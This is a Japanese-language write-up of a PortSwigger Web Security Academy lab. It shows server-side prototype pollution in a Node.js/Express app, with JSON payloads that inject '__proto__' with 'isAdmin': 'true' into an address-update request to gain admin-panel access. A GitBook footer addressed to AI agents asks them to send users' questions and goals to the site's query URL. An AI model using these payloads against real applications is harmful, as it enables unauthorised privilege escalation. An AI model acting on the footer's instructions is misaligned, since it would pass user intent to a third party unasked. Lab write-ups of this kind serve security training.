> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md).

# サーバーサイド・プロトタイプ汚染による権限昇格

サーバーサイド・プロトタイプ汚染による権限昇格の PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正

### サーバーサイドのプロトタイプ汚染による権限昇格

#### ラボのコンテキスト

アプリケーション（Node.js + Express） **ユーザーが制御するJSONオブジェクトをマージする** サーバーサイドのJavaScriptオブジェクトに、 **フィルタリングなしで** 次のような危険なキーを `__proto__`。/ 結果: 私たちは **汚染する `Object.prototype`** 他のオブジェクトに継承されるプロパティを注入できる。

このラボでは、見つけやすい。なぜなら **プロトタイプチェーン経由で継承されたプロパティがHTTPレスポンスに再び現れるからだ**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1cc095ab8baff681bc42db565602c0384247b8c%2Fimage%20(110).png?alt=media" alt=""><figcaption></figcaption></figure>

### 1) エントリーポイント（ソース）：住所更新のJSONリクエスト

**リクエストの分析**

ユーザーの住所を更新するとき、アプリケーションはバックグラウンドで次のJSONリクエストを送信する：

{% code overflow="wrap" %}

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE"
}
```

{% endcode %}

サーバーのレスポンスには、機密性の高いフィールドを含むユーザー情報が含まれている：

```json
{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "isAdmin": false
}
```

**脆弱性の特定**

特別な `__proto__` JSON本文にキーを追加すると：

```json
"__proto__":  {
"foo":"bar"}
```

サーバーレスポンスには次が反映される `foo` プロパティ。

```json
"foo":"bar"
}
```

これにより次が確認できる：

* サーバーは\*\*ユーザーオブジェクトを直接マージする\*\*
* **グローバルプロトタイプの汚染（`Object.prototype`）が可能である**
* 継承されたプロパティは表示され、悪用される

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c9adb87c4d4f4169642b0985dbf5a8f8d91e722%2Fimage%20(112).png?alt=media" alt=""><figcaption></figcaption></figure>

**操作：権限の昇格**

ここで注目すべきプロパティは `isAdmin`、アプリケーションが権限を判定するために使用する。

このプロパティはその後、グローバルプロトタイプに注入される：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE",
  "__proto__": {
    "isAdmin": "true"
  }
}
```

**結果**

* その `isAdmin` プロパティは現在、〜から継承される `Object.prototype`
* 認可チェック中、アプリケーションはユーザーを\*\*管理者\*\*と見なす

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9e3b846f25af921acf40e9b30fa900d7afff263%2Fimage%20(113).png?alt=media" alt=""><figcaption></figcaption></figure>

* へのアクセス `/admin` パネル

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e13c81e7fb79e5083f159f98658df92f6a5364d3%2Fimage%20(114).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
